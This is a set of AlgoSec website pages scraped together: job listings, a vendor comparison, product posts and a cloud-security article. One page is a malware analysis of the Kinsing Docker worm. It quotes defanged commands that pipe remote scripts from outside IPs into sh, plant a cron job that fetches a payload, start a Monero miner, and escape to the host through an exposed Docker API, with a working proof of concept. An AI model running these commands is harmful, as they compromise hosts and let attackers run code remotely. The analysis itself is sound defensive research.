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Join Algosec and be part of a global team driving innovation in network security. Explore exciting career opportunities and grow with us. Find a job By Job Category By Location By Keyword - Found 30 Positions - Regional Sales Manager, DACH Read More AlgoNext Automation Developer, India Read More CloudFlow Developer, India Read More Technical Support Engineer, Brazil Read More Sales Development Representative, West Read More Regional Sales Manager, Pacific NW Rockies Read More Customer Success Manager, India Read More Suite Software Developer, India Read More Customer Success Manager (Technical), US Read More Customer Success Manager (Technical), UK Read More Professional Services Engineer, India Read More Sales Development Representative, Germany Read More Regional Sales Manager, West Read More Sales Development Representative, EMEA Read More Regional Sales Engineer, Canada Read More Regional Sales Manager, Ohio Valley Read More Channel Manager, West Read More Regional Sales Engineer, Southeast Read More Automation TL, India Read More AlgoSec Resident Engineer, Netherlands Read More Software Developer, India Read More Full Stack Automation Developer, India Read More Cloud Automation Developer, India Read More Regional Sales Manager, Canada Read More CloudFlow Automation Developer, India Read More Regional Sales Engineer, Mid Atlantic Read More Automation Team Lead Read More Product Marketing Manager, IL Read More Assistant Controller, Israel Read More IT Engineer- Student Read More

Discover how global customers use Algosec to enhance their network security, streamline operations, and ensure continuous compliance. Our customers Financial Services Read the story Read the story Read the story Read the story Read the story Read the story Read the story Read the story Show more We empower the world’s most complex organizations to gain visibility, reduce risk and process changes at zero-touch across the hybrid network. NCR Nationwide Insurance Testimonial See what people who use AlgoSec have to say about it Read customers stories Filter by industry All industries Energy and Utilities Read the story Read the story Read the story Read the story Read the story Read the story Read the story Read the story Show more Government Read the story Read the story Read the story Read the story Read the story Read the story Read the story Read the story Show more Healthcare & Pharmaceuticals Read the story Read the story Read the story Read the story Read the story Read the story Read the story Read the story Read the story Read the story Read the story Show more Motor Vehicles Read the story Read the story Read the story Read the story Read the story Read the story Show more Technology Read the story Read the story Read the story Show more Retail and Consumer Goods Read the story Read the story Read the story Read the story Read the story Read the story Show more Telecom, IT, MSSP Read the story Read the story Read the story Read the story Read the story Read the story Read the story Read the story Show more Transportation Read the story Show more Schedule time with one of our experts Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Continue

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Discover the best RedSeal alternatives for robust network security in 2024. Find solutions that excel in network visibility, risk assessment, and compliance. Top 7 RedSeal Alternatives for Network Security in 2024 Top 7 RedSeal Alternatives for Network Security in 2024 RedSeal is a cybersecurity solution that provides security risk management and network visibility for cloud-enabled organizations. It provides security leaders with the data they need to prioritize risks and meet compliance goals with end-to-end visibility. This approach is important for organizations with complex cloud deployments, but Redseal isn’t for everyone . Some vendors offer similar capabilities at lower prices, while others have superior risk management software for specific industry niches. You may be interested in switching from RedSeal to another network visibility solution because you might need additional support for a multi-vendor cloud platform. We’ve put together a comprehensive list of security policy management platforms that can provide insight into your organization’s attack surface and cloud security capabilities. Read on to find out more about how the cybersecurity industry’s most important RedSeal competitors stack up. We’ll cover the features of each technology along with its pros and cons so you can make the best decision for your organization’s budget and security posture. Schedule a Demo Is RedSeal the best option for end-to-end visibility? RedSeal gathers data about endpoints and network devices and analyzes that data in real-time. This gives network administrators the ability to conduct vulnerability assessments and endpoint security audits as needed, enabling security service providers to keep up with emerging threats. Key features: Security analytics and network visualization. RedSeal’s security platform prioritizes analytics and visualization, allowing network administrators to quickly gauge their overall risk profile and track down vulnerabilities before attackers can exploit them. Intuitive dashboards and high-level reporting. Security leaders rely on RedSeal’s data visualization capabilities to decide where future security investments should be made. The platform is designed to make risk prioritization easy while allowing key stakeholders to communicate clearly about cyber risk. Pros: Ease of installation use. RedSeal is designed for enterprise users who need to gain visibility into their networks with minimal technical configuration requirements. As a high-level reporting tool, it provides programmatic API integration with a variety of third-party services without drowning users in unnecessary details. Comprehensive network mapping. RedSeal ingests information about your network configuration, including your firewalls, switches, routers, and load balancers. It also connects to your public cloud and private cloud instances using APIs and builds a complete connectivity model of your network. Agent-free low-consumption model. RedSeal’s connectivity model does not rely on agents, SPAN ports, or TAPs. It creates a comprehensive network model without compromising production traffic or using up NetFlow data. Cons: Costs do not scale well. RedSeal charges a subscription fee based on the number of layer 3 and layer 2 devices on the network, plus support and maintenance costs that include perpetual software licensing fees. These fees are calculated as a percentage of the overall subscription cost, which can present problems for growing organizations. Lack of community support. While other solutions have thriving communities built around open source security solutions, RedSeal has almost no community to speak of. The company provides security teams with technical documentation, but top competitors have much more to offer. Lack of advanced features. Beyond mapping and analytics, RedSeal does not actually provide a great deal of value compared to many other options. It should feature more in-depth capabilities for integrating incident response operations, threat intelligence, and malware remediation for cloud environments. Schedule a Demo 7 RedSeal Competitors to Consider: AlgoSec FireMon Tufin Skybox Security Cisco Defense Orchestrator ManageEngine Qualys Vulnerability Management Schedule a Demo 1. AlgoSec AlgoSec is the top-ranking RedSeal competitor because of its comprehensive set of features for managing network security policies while proactively protecting against cyber threats. The platform provides the same degree of end-to-end network visualization that RedSeal promises, but with additional capabilities. It provides secure application delivery across public and private clouds, containers, and on-premises hardware devices while supporting compliance and visibility. Key features: Comprehensive coverage and compatibility. AlgoSec enables security leaders to automate asset discovery and policy management across the entire hybrid network . That includes public cloud infrastructure like AWS, on-premises hardware, and third-party software-as-a-service (SaaS) solutions are all covered. Real-Time network mapping. Security teams can use AlgoSec to unlimited visibility into their network’s connectivity stream . Additionally, they can implement changes, reinforce policies, and update security controls directly from the interface. Simulated configuration modeling. AlgoSec allows security professionals to test network configuration changes and identify potential risks before committing those changes. This removes much of the guesswork and risk that goes into changing network and firewall configurations. Pros: Automated change management reduces the errors that come from manual configuration. Firewall rule optimization automatically protects your organization from new and emerging threats. Regulatory analysis can help you demonstrate compliance with complex frameworks like NIST and PCI-DSS . Cons: The platform could benefit from more in-depth integration support. Some patches and hotfixes arrive late when compared to competitors. Schedule a Demo 2. FireMon FireMon is a network security vendor that specializes in provisioning network security policies and managing them from a central interface. It provides hybrid organizations with a comprehensive set of tools for reviewing policies in real-time and making changes to those policies in response to new analysis. Like RedSeal, it provides end-to-end visibility into cloud-enabled networks and gives IT teams visibility into their security risk profile. Key features: Distributed alarm and response capabilities. FireMon provides visibility into application connectivity and supports complex alarming configurations in multi-vendor environments. Out-of-the-box reporting tools. Security leaders who implement FireMon in order to gain fast access to in-depth reports are able to get these features working with minimal setup and configuration time. Customization tools included. Organizations that need customized reporting or policy management solutions can rely on FireMon to deliver. Pros: FireMon’s policy error analysis is accurate, providing in-depth data about which policies get triggered the most frequently and which ones do not. The unified visibility and management tool provides a great starting place for standardizing security policy management, especially across complex multi-vendor environments. Cons: FireMon’s licensing model can be inconsistent. Some customers report having their license terms changed over time. The platform’s automation capabilities are not quite as advanced as some other entrants on this list. Network mapping isn’t always accurate in certain network topologies, such as those that use asymmetric routing. Schedule a Demo 3. Tufin Tufin’s Orchestration Suite is a comprehensive network security management platform designed around automation and compliance. It supports multi-vendor networks, and runs on a variety of operating systems and devices. It enables security practitioners to audit firewall rules against a universal standard, providing in-depth insight into the organization’s overall exposure to risk . Key features: High quality automation capabilities. Tufin allows security teams to cleanly automate low-impact tasks like policy duplication. It makes addressing unused objects, address groups, and service objects easy. Advanced scheduling. You can use Tufin to schedule policy modifications to take place overnight. Depending on your security needs, you can distribute resources where they are needed when they are needed most. Multiple tools. Tufin provides organizations with a variety of policy management tools. It can manage firewall policies, VPN policies, and perform compliance verifications via API. Pros: Using Tufin to manage security policies is easy. Most security professionals will be able to quickly learn how the software works and begin using it right away. Tufin allows security teams to manage firewall policies and integrate change processes into their workflows. Security teams with multiple firewalls from different vendors can easily control and manage their firewall fleet through Tufin’s centralized interface. Cons: The product is not particularly fast or user-friendly. It features a user interface that looks dated compared to many other entrants on this list. Tufin does not support advanced customization or reports. These limitations are even more pronounced for organizations with complex network management needs . The cost of implementing Tufin can be high for growing organizations. It seems priced for the large enterprise market. Schedule a Demo 4. Skybox Security Skybox Security Suite is a suite of cybersecurity management solutions that helps organizations reduce data breach risks and improve their security ratings. It provides continuous exposure management, which means it continuously monitors and analyzes organizations’ networks for vulnerabilities and threats. Key features: Skybox Security Suite includes two main policy management tools: Network Security Policy Management : This tool helps organizations develop and enforce consistent security policies for their networks. Vulnerability and Threat Management : This tool helps organizations identify and prioritize vulnerabilities in their networks and mitigate the associated risks. Pros: Automated firewall management helps organizations automate the provisioning, configuration, and management of their firewalls. Network visibility and vulnerability control enables security teams to prioritize the vulnerabilities Skybox detects in their networks. Threat Intelligence: Skybox includes its own threat intelligence service, which provides organizations with information about new vulnerabilities and active exploits. Cons: Skybox can present a steep learning curve to new users, even if they’re experienced network security professionals. Skybox relies on an accurate inventory of devices and networks. If the inventory is not up-to-date, it may not provide accurate results. Schedule a Demo 5. Cisco Defense Orchestrator Cisco Defense Orchestrator is a cloud-based security policy management service that helps organizations unify their policies across multi-cloud networks. It provides comprehensive asset discovery and visibility for cloud infrastructure, and network administrators can use it to manage security configurations and assess their risk profile. However, it only supports Cisco products and hardware. Key features: Single reference point for policy management: Cisco Defense Orchestrator provides a pane of glass for managing and configuring Cisco security devices across the network. Cloud-delivered software: Cisco Defense Orchestrator deploys rapidly and quickly. The process is defined by scalability made possible through the product’s cloud-delivered SaaS format. Built-in compliance management: The solution lets security teams deploy policies to Cisco security devices and demonstrate that those policies are compliant with industry-wide frameworks like NIST, PCI-DSS, and others. Pros: Administrators can easily manage the organization’s fleet of security devices and other network assets from a single location. Cisco’s cloud-delivered approach is cost-efficient and scalable, while remaining powerful enough to enhance security for large enterprises as well as growing organizations. Visibility is built into the software package, granting security teams the ability to map out network assets and identify vulnerabilities proactively. Cons: The cost of implementing Cisco Defense Orchestrator may be too high for some organizations. Cisco Defense Orchestrator only supports Cisco products. If your organization has to rip and replace its existing fleet of firewalls, switches, and routers, the cost of deploying this solution will rise dramatically. Schedule a Demo 6. ManageEngine Firewall Analyzer ManageEngine Firewall Analyzer enhances network security by providing real-time insights into firewall traffic and rule configurations. It also enables administrators to generate comprehensive reports and alerts on security events and potential risks. It supports a wide range of hardware vendors and can provide vulnerability management solutions to security teams that need better visibility into their security posture. Key features: Agentless deployment . Real-time monitoring is available without requiring endpoints and other assets to run client-side agents that can draw resources away from mission-critical business tasks. Out-of-the-box compliance management. Security teams can automate compliance management using ManageEngine without requiring additional configuration or painstaking customization. Network traffic monitoring. ManageEngine enables security teams to conduct behavioral analysis on network traffic, monitoring for unusual activity and getting detailed insights about how users are interacting with company assets. Pros: The software allows administrators to monitor and respond to security threats quickly, and grants real-time information about how firewall rules are being used. ManageEngine helps administrators keep track of security incidents and vulnerabilities and provides compliance reporting ideal for popular regulatory standards like NIST and PCI-DSS. The user interface is easy to use and understand, making it suitable for IT professionals with different levels of skill and experience. Cons: The software may be too costly for some organizations, especially growing organizations with a single shared budget for IT and security expenses. ManageEngine Firewall Analyzer may not work with all firewall vendors, so organizations should verify compatibility before deploying the software. Installing ManageEngine requires a high level of technical knowledge and specialist talent, which increases the cost. Schedule a Demo 7. Qualys Vulnerability Management Qualys provides network administrators with a comprehensive suite of tools for defining and managing cyber risk. Its software package includes solutions that grant end-to-end visibility into networks and map network assets out so that security teams can prioritize them effectively. It also supports automation and network security policy management, all through a single interface. Key features: Quantifiable cyber risk statistics . The product uses a proprietary system for tracking and quantifying cyber risk, giving security leaders an easy way to communicate the organization’s risk profile to executives and stakeholders. Automated no-code workflows . IT teams can use Qualys Vulnerability Management to orchestrate security updates and patching without writing complex scripts for the purpose. Comprehensive network discovery and mapping . Qualys detects all IT assets on the network, and also extends its discovery to operating technology and Internet of Things (IoT) devices. It enriches asset inventories with vendor lifecycle data and additional information. Pros: Risk-based prioritization puts critical vulnerabilities first. Security leaders can allocate resources to the most important tasks and manage less-critical vulnerabilities later. The product supports integration with existing IT management tools, making it easy for network administrators to use effectively. It also connects with security platforms like SIEM, support ticketing tools, and other third-party software. Cons: Qualys is not compatible with some modern enterprise data architectures. It has trouble reading containerized files and may not work correctly in organizations with a microservices architecture. Customer support often experiences delays, making it hard for customers to get immediate help solving time-sensitive security issues. The product’s built-in reporting capabilities are outdated compared to many other entrants on this list. Producing custom visualizations and combining data from multiple sources can be more difficult than it needs to be. Schedule a Demo Select a size Top 7 RedSeal Alternatives for Network Security in 2024 Is RedSeal the best option for end-to-end visibility? 7 RedSeal Competitors to Consider: 1. AlgoSec 2. FireMon 3. Tufin 4. Skybox Security 5. Cisco Defense Orchestrator 6. ManageEngine Firewall Analyzer 7. Qualys Vulnerability Management Get the latest insights from the experts Use these six best practices to simplify compliance and risk White paper Learn how AlgoSec can help you pass PCI-DSS Audits and ensure Solution overview See how this customer improved compliance readiness and risk management with AlgoSec Case study Choose a better way to manage your network

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Streamline Network Security Policy Changes, Minimize Errors, and Improve Efficiency with Effective Change Management Processes Improve Cybersecurity with Better Security Policy Change Management Select a size Which network Can AlgoSec be used for continuous compliance monitoring? Yes, AlgoSec supports continuous compliance monitoring. As organizations adapt their security policies to meet emerging threats and address new vulnerabilities, they must constantly verify these changes against the compliance frameworks they subscribe to. AlgoSec can generate risk assessment reports and conduct internal audits on-demand, allowing compliance officers to monitor compliance performance in real-time. Security professionals can also use AlgoSec to preview and simulate proposed changes to the organization’s security policies. This gives compliance officers a valuable degree of lead-time before planned changes impact regulatory guidelines and allows for continuous real-time monitoring. Network security policy changes Information systems are not static – and neither is information security Security policy changes must accommodate the organization’s unique IT security life cycle Changing security policies comes with steep challenges Process security policy changes in minutes not days With AlgoSec you can Get the latest insights from the experts Use these six best practices to simplify compliance and risk mitigation with the AlgoSec White paper Learn how AlgoSec can help you pass PCI-DSS Audits and ensure Solution overview See how this customer improved compliance readiness and risk Case study Schedule time with one of our experts Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Continue

We all remember how a decade ago, Windows password trojans were harvesting credentials that some email or FTP clients kept on disk in an... Cloud Security Kinsing Punk: An Epic Escape From Docker Containers Rony Moshkovich 2 min read Rony Moshkovich Short bio about author here Lorem ipsum dolor sit amet consectetur. Vitae donec tincidunt elementum quam laoreet duis sit enim. Duis mattis velit sit leo diam. Tags Share this article 8/22/20 Published We all remember how a decade ago, Windows password trojans were harvesting credentials that some email or FTP clients kept on disk in an unencrypted form. Network-aware worms were brute-forcing the credentials of weakly-restricted shares to propagate across networks. Some of them were piggy-backing on Windows Task Scheduler to activate remote payloads. Today, it’s déjà vu all over again. Only in the world of Linux. As reported earlier this week by Cado Security, a new fork of Kinsing malware propagates across misconfigured Docker platforms and compromises them with a coinminer. In this analysis, we wanted to break down some of its components and get a closer look into its modus operandi. As it turned out, some of its tricks, such as breaking out of a running Docker container, are quite fascinating. Let’s start from its simplest trick — the credentials grabber. AWS Credentials Grabber If you are using cloud services, chances are you may have used Amazon Web Services (AWS). Once you log in to your AWS Console, create a new IAM user, and configure its type of access to be Programmatic access, the console will provide you with Access key ID and Secret access key of the newly created IAM user. You will then use those credentials to configure the AWS Command Line Interface ( CLI ) with the aws configure command. From that moment on, instead of using the web GUI of your AWS Console, you can achieve the same by using AWS CLI programmatically. There is one little caveat, though. AWS CLI stores your credentials in a clear text file called ~/.aws/credentials . The documentation clearly explains that: The AWS CLI stores sensitive credential information that you specify with aws configure in a local file named credentials, in a folder named .aws in your home directory. That means, your cloud infrastructure is now as secure as your local computer. It was a matter of time for the bad guys to notice such low-hanging fruit, and use it for their profit. As a result, these files are harvested for all users on the compromised host and uploaded to the C2 server. Hosting For hosting, the malware relies on other compromised hosts. For example, dockerupdate[.]anondns[.]net uses an obsolete version of SugarCRM , vulnerable to exploits. The attackers have compromised this server, installed a webshell b374k , and then uploaded several malicious files on it, starting from 11 July 2020. A server at 129[.]211[.]98[.]236 , where the worm hosts its own body, is a vulnerable Docker host. According to Shodan , this server currently hosts a malicious Docker container image system_docker , which is spun with the following parameters: ./nigix –tls-url gulf.moneroocean.stream:20128 -u [MONERO_WALLET] -p x –currency monero –httpd 8080 A history of the executed container images suggests this host has executed multiple malicious scripts under an instance of alpine container image: chroot /mnt /bin/sh -c ‘iptables -F; chattr -ia /etc/resolv.conf; echo “nameserver 8.8.8.8” > /etc/resolv.conf; curl -m 5 http[://]116[.]62[.]203[.]85:12222/web/xxx.sh | sh’ chroot /mnt /bin/sh -c ‘iptables -F; chattr -ia /etc/resolv.conf; echo “nameserver 8.8.8.8” > /etc/resolv.conf; curl -m 5 http[://]106[.]12[.]40[.]198:22222/test/yyy.sh | sh’ chroot /mnt /bin/sh -c ‘iptables -F; chattr -ia /etc/resolv.conf; echo “nameserver 8.8.8.8” > /etc/resolv.conf; curl -m 5 http[://]139[.]9[.]77[.]204:12345/zzz.sh | sh’ chroot /mnt /bin/sh -c ‘iptables -F; chattr -ia /etc/resolv.conf; echo “nameserver 8.8.8.8” > /etc/resolv.conf; curl -m 5 http[://]139[.]9[.]77[.]204:26573/test/zzz.sh | sh’ Docker Lan Pwner A special module called docker lan pwner is responsible for propagating the infection across other Docker hosts. To understand the mechanism behind it, it’s important to remember that a non-protected Docker host effectively acts as a backdoor trojan. Configuring Docker daemon to listen for remote connections is easy. All it requires is one extra entry -H tcp://127.0.0.1:2375 in systemd unit file or daemon.json file. Once configured and restarted, the daemon will expose port 2375 for remote clients: $ sudo netstat -tulpn | grep dockerd tcp 0 0 127.0.0.1:2375 0.0.0.0:* LISTEN 16039/dockerd To attack other hosts, the malware collects network segments for all network interfaces with the help of ip route show command. For example, for an interface with an assigned IP 192.168.20.25 , the IP range of all available hosts on that network could be expressed in CIDR notation as 192.168.20.0/24 . For each collected network segment, it launches masscan tool to probe each IP address from the specified segment, on the following ports: Port Number Service Name Description 2375 docker Docker REST API (plain text) 2376 docker-s Docker REST API (ssl) 2377 swarm RPC interface for Docker Swarm 4243 docker Old Docker REST API (plain text) 4244 docker-basic-auth Authentication for old Docker REST API The scan rate is set to 50,000 packets/second. For example, running masscan tool over the CIDR block 192.168.20.0/24 on port 2375 , may produce an output similar to: $ masscan 192.168.20.0/24 -p2375 –rate=50000 Discovered open port 2375/tcp on 192.168.20.25 From the output above, the malware selects a word at the 6th position, which is the detected IP address. Next, the worm runs zgrab — a banner grabber utility — to send an HTTP request “/v1.16/version” to the selected endpoint. For example, sending such request to a local instance of a Docker daemon results in the following response: Next, it applies grep utility to parse the contents returned by the banner grabber zgrab , making sure the returned JSON file contains either “ApiVersion” or “client version 1.16” string in it. The latest version if Docker daemon will have “ApiVersion” in its banner. Finally, it will apply jq — a command-line JSON processor — to parse the JSON file, extract “ip” field from it, and return it as a string. With all the steps above combined, the worm simply returns a list of IP addresses for the hosts that run Docker daemon, located in the same network segments as the victim. For each returned IP address, it will attempt to connect to the Docker daemon listening on one of the enumerated ports, and instruct it to download and run the specified malicious script: docker -H tcp://[IP_ADDRESS]:[PORT] run –rm -v /:/mnt alpine chroot /mnt /bin/sh -c “curl [MALICIOUS_SCRIPT] | bash; …” The malicious script employed by the worm allows it to execute the code directly on the host, effectively escaping the boundaries imposed by the Docker containers. We’ll get down to this trick in a moment. For now, let’s break down the instructions passed to the Docker daemon. The worm instructs the remote daemon to execute a legitimate alpine image with the following parameters: –rm switch will cause Docker to automatically remove the container when it exits -v /:/mnt is a bind mount parameter that instructs Docker runtime to mount the host’s root directory / within the container as /mnt chroot /mnt will change the root directory for the current running process into /mnt , which corresponds to the root directory / of the host a malicious script to be downloaded and executed Escaping From the Docker Container The malicious script downloaded and executed within alpine container first checks if the user’s crontab — a special configuration file that specifies shell commands to run periodically on a given schedule — contains a string “129[.]211[.]98[.]236” : crontab -l | grep -e “129[.]211[.]98[.]236” | grep -v grep If it does not contain such string, the script will set up a new cron job with: echo “setup cron” ( crontab -l 2>/dev/null echo “* * * * * $LDR http[:]//129[.]211[.]98[.]236/xmr/mo/mo.jpg | bash; crontab -r > /dev/null 2>&1” ) | crontab – The code snippet above will suppress the no crontab for username message, and create a new scheduled task to be executed every minute . The scheduled task consists of 2 parts: to download and execute the malicious script and to delete all scheduled tasks from the crontab . This will effectively execute the scheduled task only once, with a one minute delay. After that, the container image quits. There are two important moments associated with this trick: as the Docker container’s root directory was mapped to the host’s root directory / , any task scheduled inside the container will be automatically scheduled in the host’s root crontab as Docker daemon runs as root, a remote non-root user that follows such steps will create a task that is scheduled in the root’s crontab , to be executed as root Building PoC To test this trick in action, let’s create a shell script that prints “123” into a file _123.txt located in the root directory / . echo “setup cron” ( crontab -l 2>/dev/null echo “* * * * * echo 123>/_123.txt; crontab -r > /dev/null 2>&1” ) | crontab – Next, let’s pass this script encoded in base64 format to the Docker daemon running on the local host: docker -H tcp://127.0.0.1:2375 run –rm -v /:/mnt alpine chroot /mnt /bin/sh -c “echo ‘[OUR_BASE_64_ENCODED_SCRIPT]’ | base64 -d | bash” Upon execution of this command, the alpine image starts and quits. This can be confirmed with the empty list of running containers: $ docker -H tcp://127.0.0.1:2375 ps CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES An important question now is if the crontab job was created inside the (now destroyed) docker container or on the host? If we check the root’s crontab on the host, it will tell us that the task was scheduled for the host’s root, to be run on the host: $ sudo crontab -l * * * * echo 123>/_123.txt; crontab -r > /dev/null 2>&1 A minute later, the file _123.txt shows up in the host’s root directory, and the scheduled entry disappears from the root’s crontab on the host: $ sudo crontab -l no crontab for root This simple exercise proves that while the malware executes the malicious script inside the spawned container, insulated from the host, the actual task it schedules is created and then executed on the host. By using the cron job trick, the malware manipulates the Docker daemon to execute malware directly on the host! Malicious Script Upon escaping from container to be executed directly on a remote compromised host, the malicious script will perform the following actions: Schedule a demo Related Articles 2025 in review: What innovations and milestones defined AlgoSec’s transformative year in 2025? AlgoSec Reviews Mar 19, 2023 · 2 min read Navigating Compliance in the Cloud AlgoSec Cloud Mar 19, 2023 · 2 min read 5 Multi-Cloud Environments Cloud Security Mar 19, 2023 · 2 min read Speak to one of our experts Speak to one of our experts Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Schedule a call

With expertise in data management, search algorithms, and AI, Google has created a cloud platform that excels in both performance and... Hybrid Cloud Security Management Improve visibility and identify risk across your Google Cloud environments with AlgoSec Cloud Joseph Hallman 2 min read Joseph Hallman Short bio about author here Lorem ipsum dolor sit amet consectetur. Vitae donec tincidunt elementum quam laoreet duis sit enim. Duis mattis velit sit leo diam. Tags Share this article 9/12/23 Published With expertise in data management, search algorithms, and AI, Google has created a cloud platform that excels in both performance and efficiency. The advanced machine learning, global infrastructure, and comprehensive suite of services available in Google Cloud demonstrates Google’s commitment to innovation. Many companies are leveraging these capabilities to explore new possibilities and achieve remarkable outcomes in the cloud. When large companies decide to locate or move critical business applications to the cloud, they often worry about security. Making decisions to move certain applications to the cloud should not create new security risks. Companies are concerned about things like hackers getting access to their data, unauthorized people viewing or tampering with sensitive information, and meeting compliance regulations. To address these concerns, it’s important for companies to implement strong security measures in the cloud, such as strict access controls, encrypting data, constantly monitoring for threats, and following industry security standards. Unfortunately, even with the best tools and safeguards in place it is hard to protect against everything. Human error plays a major part in this and can introduce threats with a few small mistakes in configuration files or security rules that can create unnecessary security risks. The CloudFlow solution from AlgoSec is a network security management solution designed for cloud environments. It provides clear visibility, risk analysis, and helps identify unused rules to help with policy cleanup across multi-cloud deployments. With CloudFlow, organizations can manage security policies, better understand risk, and enhance their overall security in the cloud. It offers centralized visibility, helps with policy management, and provides detailed risk assessment. With Algosec Cloud, and support for Google Cloud, many companies are gaining the following new capabilities: Improved visibility Identifying and reduce risk Generating detailed risk reports Optimizing existing policies Integrating with other cloud providers and on-premise security devices Improve overall visibility into your cloud environments Gain clear visibility into your Google Cloud, Inventory, and network risks. In addition, you can see all the rules impacting your Google Cloud VPCs in one place. View network and inherited policies across all your Google Cloud Projects in one place. Using the built-in search tool and filters it is easy to search and locate policies based on the project, region, and VPC network. View all the rules protecting your Google Cloud VPCs in one place. View VPC firewall rules and the inherited rules from hierarchical firewall policies Gain visibility for your security rules and policies across all of your Google Cloud projects in one place. Identify and Reduce Risk in your Cloud Environments CloudFlow includes the ability to identify risks in your Google Cloud environment and their severity. Look across policies for risks and then drill down to look at specific rules and the affected assets. For any rule, you can conveniently view the risk description, the risk remediation suggestion and all its affected assets. Quickly identify policies that include risk Look at risky rules and suggested remediation Understand the assets that are affected Identify risky rules so you can confidently remove them and avoid data breaches. Tip: Hover over the: Description icon : to view the risk description. Remediation icon: to view the remediation suggestion. Quickly create and share detailed risk reports From the left menu select Risk and then use the built-in filters to narrow down your selection and view specific risk based on cloud type, account, region, tags, and severity. Once the selections are made a detailed report can be automatically generated for you by clicking on the pdf report icon in the top right of the screen. Generate detailed risk reports to share in a few clicks. Optimize Existing Policies Unused rules represent a common security risk and create policy bloat that can complicate both cloud performance and connectivity. View unused rules on the Overview page, for each project you can see the number of Google Cloud rules not being used based on a defined analysis period. This information can assist in cleaning the policies and reducing the attack surface. Select analysis period Identify unused rule to help optimize your cloud security policies Quickly locate rules that are not in use to help reduce your attack surface. Integrate with other cloud providers and on-premise security devices Manage Google Cloud projects, other cloud solutions, and on-premise firewall devices by using AlgoSec Cloud along with the AlgoSec Security Management Suite (ASMS). Integrate with the full suite of solutions from AlgoSec for a powerful and comprehensive way to manage applications connectivity across your entire hybrid environment. CloudFlow plus ASMS provides clear visibility, risk identification, and other capabilities across large complex hybrid networks. Resources- Quick overview video about CloudFlow and Google Cloud support For more details about AlgoSec Security Management Suite or to schedule a demo please visit- www.algosec.com Schedule a demo Related Articles 2025 in review: What innovations and milestones defined AlgoSec’s transformative year in 2025? AlgoSec Reviews Mar 19, 2023 · 2 min read Navigating Compliance in the Cloud AlgoSec Cloud Mar 19, 2023 · 2 min read 5 Multi-Cloud Environments Cloud Security Mar 19, 2023 · 2 min read Speak to one of our experts Speak to one of our experts Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Schedule a call

Kyle Wickert explains how organizations can balance the need to modernize their networks without compromising security For businesses of... Digital Transformation Modernizing your infrastructure without neglecting security Kyle Wickert 2 min read Kyle Wickert Short bio about author here Lorem ipsum dolor sit amet consectetur. Vitae donec tincidunt elementum quam laoreet duis sit enim. Duis mattis velit sit leo diam. Tags Share this article 8/19/21 Published Kyle Wickert explains how organizations can balance the need to modernize their networks without compromising security For businesses of all shapes and sizes, the inherent value in moving enterprise applications into the cloud is beyond question. The ability to control computing capability at a more granular level can lead to significant cost savings, not to mention the speed at which new applications can be provisioned. Having a modern cloud-based infrastructure makes businesses more agile, allowing them to capitalize on market forces and other new opportunities much quicker than if they depended on on-premises, monolithic architecture alone. However, there is a very real risk that during the goldrush to modernized infrastructures, particularly during the pandemic when the pressure to migrate was accelerated rapidly, businesses might be overlooking the potential blind spot that threatens all businesses indiscriminately, and that is security. One of the biggest challenges for business leaders over the past decade has been managing the delicate balance between infrastructure upgrades and security. Our recent survey found that half of organizations who took part now run over 41% of workloads in the public cloud, and 11% reported a cloud security incident in the last twelve months. If businesses are to succeed and thrive in 2021 and beyond, they must learn how to walk this tightrope effectively. Let’s consider the highs and lows of modernizing legacy infrastructures, and the ways to make it a more productive experience. What are the risks in moving to the cloud? With cloud migration comes risk. Businesses that move into the cloud actually stand to lose a great deal if the process isn’t managed effectively. Moreover, they have some important decisions to make in terms of how they handle application migration. Do they simply move their applications and data into the cloud as they are as a ‘lift and shift’, or do they seek to take a more cloud-native approach and rebuild applications in the cloud to take full advantage of its myriad benefits? Once a business has started this move toward the cloud, it’s very difficult to rewind the process and unpick mistakes that may have been made, so planning really is critical. Then there’s the issue of attack surface area. Legacy on-premises applications might not be the leanest or most efficient, but they are relatively secure by default due to their limited exposure to external environments. Moving said applications onto the cloud has countless benefits to agility, efficiency, and cost, but it also increases the attack surface area for potential hackers. In other words, it gives bots and bad actors a larger target to hit. One of the many traps that businesses fall into is thinking that just because an application is in the cloud, it must be automatically secure. In fact, the reverse is true unless proper due diligence is paid to security during the migration process. The benefits of an app-centric approach One of the ways in which AlgoSec helps its customer master security in the cloud is by approaching it from an app-centric perspective. By understanding how a business uses its applications, including its connectivity paths through the cloud, data centers and SDN fabrics, we can build an application model that generates actionable insights such as the ability to create policy-based risks instead of leaning squarely on firewall controls. This is of particular importance when moving legacy applications onto the cloud. The inherent challenge here is that a business is typically taking a vulnerable application and making it even more vulnerable by moving it off-premise, relying solely on the cloud infrastructure to secure it. To address this, businesses should rank applications in order of sensitivity and vulnerability. In doing so, they may find some quick wins in terms of moving modern applications into the cloud that have less sensitive data. Once these short-term gains are dealt with, NetSecOps can focus on the legacy applications that contain more sensitive data which may require more diligence, time, and focus to move or rebuild securely. Migrating applications to the cloud is no easy feat and it can be a complex process even for the most technically minded NetSecOps. Automation takes a large proportion of the hard work away and enables teams to manage cloud environments efficiently while orchestrating changes across an array of security controls. It brings speed and accuracy to managing security changes and accelerates audit preparation for continuous compliance. Automation also helps organizations overcome skills gaps and staffing limitations. We are likely to see conflict between modernization and security for some time. On one hand, we want to remove the constraints of on-premises infrastructure as quickly as possible to leverage the endless possibilities of cloud. On the other hand, we have to safeguard against the opportunistic hackers waiting on the fray for the perfect time to strike. By following the guidelines set out in front of them, businesses can modernize without compromise. To learn more about migrating enterprise apps into the cloud without compromising on security, and how a DevSecOps approach could help your business modernize safely, watch our recent Bright TALK webinar here . Alternatively, get in touch or book a free demo . Schedule a demo Related Articles 2025 in review: What innovations and milestones defined AlgoSec’s transformative year in 2025? AlgoSec Reviews Mar 19, 2023 · 2 min read Navigating Compliance in the Cloud AlgoSec Cloud Mar 19, 2023 · 2 min read 5 Multi-Cloud Environments Cloud Security Mar 19, 2023 · 2 min read Speak to one of our experts Speak to one of our experts Work email* First name* Last name* Company* country* Select country... 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As cloud adoption and digital transformation increases, more sensitive data from applications is being stored in data containers. This is... Application Connectivity Management How to Make Container Security Threats More Containable Prof. Avishai Wool 2 min read Prof. Avishai Wool Short bio about author here Lorem ipsum dolor sit amet consectetur. Vitae donec 